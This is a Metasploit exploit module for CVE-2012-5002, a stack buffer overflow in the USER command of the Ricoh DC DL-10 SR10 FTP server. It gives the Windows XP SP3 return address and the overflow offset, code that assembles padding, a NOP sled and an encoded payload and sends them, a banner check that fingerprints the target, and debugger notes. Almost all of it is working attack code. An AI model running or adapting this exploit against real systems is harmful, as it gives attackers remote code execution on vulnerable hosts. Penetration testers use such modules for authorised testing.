Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in Ricoh DC's DL-10 SR10 FTP
        service.  By supplying a long string of data to the USER command, it is
        possible to trigger a stack-based buffer overflow, which allows remote code
        execution under the context of the user.

          Please note that in order to trigger the vulnerability, the server must
        be configured with a log file name (by default, it's disabled).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Julien Ahrens', #Discovery, PoC
          'sinn3r'         #Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2012-5002'],
          ['OSVDB', '79691'],
          ['URL', 'http://web.archive.org/web/20120514112629/http://secunia.com/advisories/47912/'],
          ['URL', 'http://www.inshell.net/2012/03/ricoh-dc-software-dl-10-ftp-server-sr10-exe-remote-buffer-overflow-vulnerability/']
        ],
      'Payload'        =>
        {
          # Yup, no badchars
          'BadChars' => "\x00",
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => "process",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Windows XP SP3',
            {
              'Ret'    => 0x77c35459,  #PUSH ESP; RETN (msvcrt.dll)
              'Offset' => 245
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-03-01',
      'DefaultTarget'  => 0))

    # We're triggering the bug via the USER command, no point to have user/pass
    # as configurable options.
    deregister_options('FTPPASS', 'FTPUSER')
  end

  def check
    connect
    disconnect
    if banner =~ /220 DSC ftpd 1\.0 FTP Server/
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    buf = ''
    buf << rand_text_alpha(target['Offset'], payload_badchars)
    buf << [target.ret].pack('V')
    buf << make_nops(20)
    buf << payload.encoded

    print_status("#{rhost}:#{rport} - Sending #{self.name}")
    connect
    send_user(buf)
    handler
    disconnect
  end
end

=begin
0:002> lmv m SR10
start    end        module name
00400000 00410000   SR10       (deferred)
    Image path: C:\Program Files\DC Software\SR10.exe
    Image name: SR10.exe
    Timestamp:        Mon May 19 23:55:32 2008 (483275E4)
    CheckSum:         00000000
    ImageSize:        00010000
    File version:     1.0.0.520
    Product version:  1.0.0.0
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Ricoh Co.,Ltd.
    ProductName:      SR-10
    InternalName:     SR-10
    OriginalFilename: SR10.EXE
    ProductVersion:   1, 0, 0, 0
    FileVersion:      1, 0, 0, 520
    PrivateBuild:     1, 0, 0, 520
    SpecialBuild:     1, 0, 0, 520
    FileDescription:  SR-10


Note: No other DC Software dlls are loaded when SR-10.exe is running, so the most
stable component we can use is msvcrt.dll for now.
=end